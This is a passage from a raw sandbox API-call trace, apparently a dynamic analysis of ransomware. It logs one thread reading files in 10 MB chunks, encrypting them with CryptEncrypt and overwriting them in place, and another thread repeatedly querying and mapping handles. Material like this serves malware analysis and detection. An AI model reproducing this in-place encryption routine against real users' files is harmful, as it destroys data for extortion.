lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1e00000 [0258.112] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0258.346] FlushFileBuffers (hFile=0x1c0) returned 1 [0258.482] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x2800000 [0258.482] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0258.482] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0259.015] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0259.416] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0259.554] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x2800000 [0259.554] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0259.715] FlushFileBuffers (hFile=0x1c0) returned 1 [0259.990] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x3200000 [0259.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0259.991] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0260.944] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 Thread: id = 496 os_tid = 0x710 [0148.469] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.469] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.469] GetFileType (hFile=0x1b0) returned 0x0 [0148.469] ResetEvent (hEvent=0xe8) returned 1 [0148.469] SetEvent (hEvent=0xec) returned 1 [0148.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.470] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.470] GetFileType (hFile=0x1b0) returned 0x3 [0148.470] ResetEvent (hEvent=0xe8) returned 1 [0148.470] SetEvent (hEvent=0xec) returned 1 [0148.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.470] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.470] GetFileType (hFile=0x1b0) returned 0x0 [0148.470] ResetEvent (hEvent=0xe8) returned 1 [0148.470] SetEvent (hEvent=0xec) returned 1 [0148.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.471] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.471] GetFileType (hFile=0x1b0) returned 0x3 [0148.471] ResetEvent (hEvent=0xe8) returned 1 [0148.471] SetEvent (hEvent=0xec) returned 1 [0148.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.472] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.472] GetFileType (hFile=0x1b0) returned 0x0 [0148.472] ResetEvent (hEvent=0xe8) returned 1 [0148.472] SetEvent (hEvent=0xec) returned 1 [0148.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.472] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.472] GetFileType (hFile=0x1b0) returned 0x3 [0148.472] ResetEvent (hEvent=0xe8) returned 1 [0148.472] SetEvent (hEvent=0xec) returned 1 [0148.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.473] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.473] GetFileType (hFile=0x1b0) returned 0x0 [0148.473] ResetEvent (hEvent=0xe8) returned 1 [0148.473] SetEvent (hEvent=0xec) returned 1 [0148.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.473] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.473] ResetEvent (hEvent=0xe8) returned 1 [0148.474] SetEvent (hEvent=0xec) returned 1 [0148.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.474] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.474] ResetEvent (hEvent=0xe8) returned 1 [0148.474] SetEvent (hEvent=0xec) returned 1 [0148.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.475] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.475] ResetEvent (hEvent=0xe8) returned 1 [0148.475] SetEvent (hEvent=0xec) returned 1 [0148.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.475] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.475] ResetEvent (hEvent=0xe8) returned 1 [0148.475] SetEvent (hEvent=0xec) returned 1 [0148.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.476] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.476] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.476] MapViewOfFile (hFileMappingObject=0x1b0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.476] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.476] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.476] ResetEvent (hEvent=0xe8) returned 1 [0148.476] SetEvent (hEvent=0xec) returned 1 [0148.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.477] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.477] ResetEvent (hEvent=0xe8) returned 1 [0148.477] SetEvent (hEvent=0xec) returned 1 [0148.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.477] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.477] ResetEvent (hEvent=0xe8) returned 1 [0148.477] SetEvent (hEvent=0xec) returned 1 [0148.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.478] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.478] ResetEvent (hEvent=0xe8) returned 1 [0148.478] SetEvent (hEvent=0xec) returned 1 [0148.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.478] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.478] ResetEvent (hEvent=0xe8) returned 1 [0148.478] SetEvent (hEvent=0xec) returned 1 [0148.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.479] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.479] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.479] ResetEvent (hEvent=0xe8) returned 1 [0148.479] SetEvent (hEvent=0xec) returned 1 [0148.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.480] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.480] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.480] ResetEvent (hEvent=0xe8) returned 1 [0148.480] SetEvent (hEvent=0xec) returned 1 [0148.480] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.480] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.480] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.480] ResetEvent (hEvent=0xe8) returned 1 [0148.480] SetEvent (hEvent=0xec) returned 1 [0148.481] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.481] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.481] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.481] ResetEvent (hEvent=0xe8) returned 1 [0148.481] SetEvent (hEvent=0xec) returned 1 [0148.481] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.481] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.481] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.481] ResetEvent (hEvent=0xe8) returned 1 [0148.481] SetEvent (hEvent=0xec) returned 1 [0148.482] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.482] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.482] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.482] ResetEvent (hEvent=0xe8) returned 1 [0148.482] SetEvent (hEvent=0xec) returned 1 [0148.482] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.482] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.482] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.482] ResetEvent (hEvent=0xe8) returned 1 [0148.482] SetEvent (hEvent=0xec) returned 1 [0148.483] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.483] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.483] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.483] ResetEvent (hEvent=0xe8) returned 1 [0148.483] SetEvent (hEvent=0xec) returned 1 [0148.483] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.483] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.483] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.484] ResetEvent (hEvent=0xe8) returned 1 [0148.484] SetEvent (hEvent=0xec) returned 1 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.484] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.484] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.484] ResetEvent (hEvent=0xe8) returned 1 [0148.484] SetEvent (hEvent=0xec) returned 1 [0148.485] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.485] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.485] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.485] ResetEvent (hEvent=0xe8) returned 1 [0148.485] SetEvent (hEvent=0xec) returned 1 [0148.485] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.486] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.486] ResetEvent (hEvent=0xe8) returned 1 [0148.486] SetEvent (hEvent=0xec) returned 1 [0148.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.486] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.486] ResetEvent (hEvent=0xe8) returned 1 [0148.486] SetEvent (hEvent=0xec) returned 1 [0148.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.487] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.487] ResetEvent (hEvent=0xe8) returned 1 [0148.487] SetEvent (hEvent=0xec) returned 1 [0148.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.487] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.487] ResetEvent (hEvent=0xe8) returned 1 [0148.487] SetEvent (hEvent=0xec) returned 1 [0148.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.488] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.488] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.488] ResetEvent (hEvent=0xe8) returned 1 [0148.488] SetEvent (hEvent=0xec) returned 1 [0148.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.488] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.488] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.488] ResetEvent (hEvent=0xe8) returned 1 [0148.488] SetEvent (hEvent=0xec) returned 1 [0148.489] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.489] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.489] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.489] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0148.489] ResetEvent (hEvent=0xe8) returned 1 [0148.489] SetEvent (hEvent=0xec) returned 1 [0148.489] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.490] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.490] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.490] ResetEvent (hEvent=0xe8) returned 1 [0148.490] SetEvent (hEvent=0xec) returned 1 [0148.490] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.490] RtlFreeHeap (HeapHandle=0xa90000, 